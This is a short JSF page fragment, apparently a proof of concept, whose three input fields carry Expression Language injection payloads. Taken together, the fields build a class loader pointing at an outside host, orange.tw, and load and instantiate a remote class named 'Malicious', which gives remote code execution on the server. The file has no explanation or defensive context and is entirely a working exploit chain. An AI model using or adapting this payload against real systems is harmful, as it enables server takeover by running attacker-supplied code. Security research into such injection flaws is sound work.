<f:view xmlns:f="http://java.sun.com/jsf/core"
xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value=\'${request.getSession().setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}\'/><br/>
<h:inputText id="userName" value=\'${request.getSession().getAttribute("arr").add(session.getServletContext().getResource("/").toURI().create("http://orange.tw/").toURL())}\'/><br/>
<h:inputText id="userName" value=\'${session.getServletContext().getClass().getClassLoader().getParent().newInstance(request.getSession().getAttribute("arr").toArray(session.getServletContext().getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}\'/><br/>
</f:view>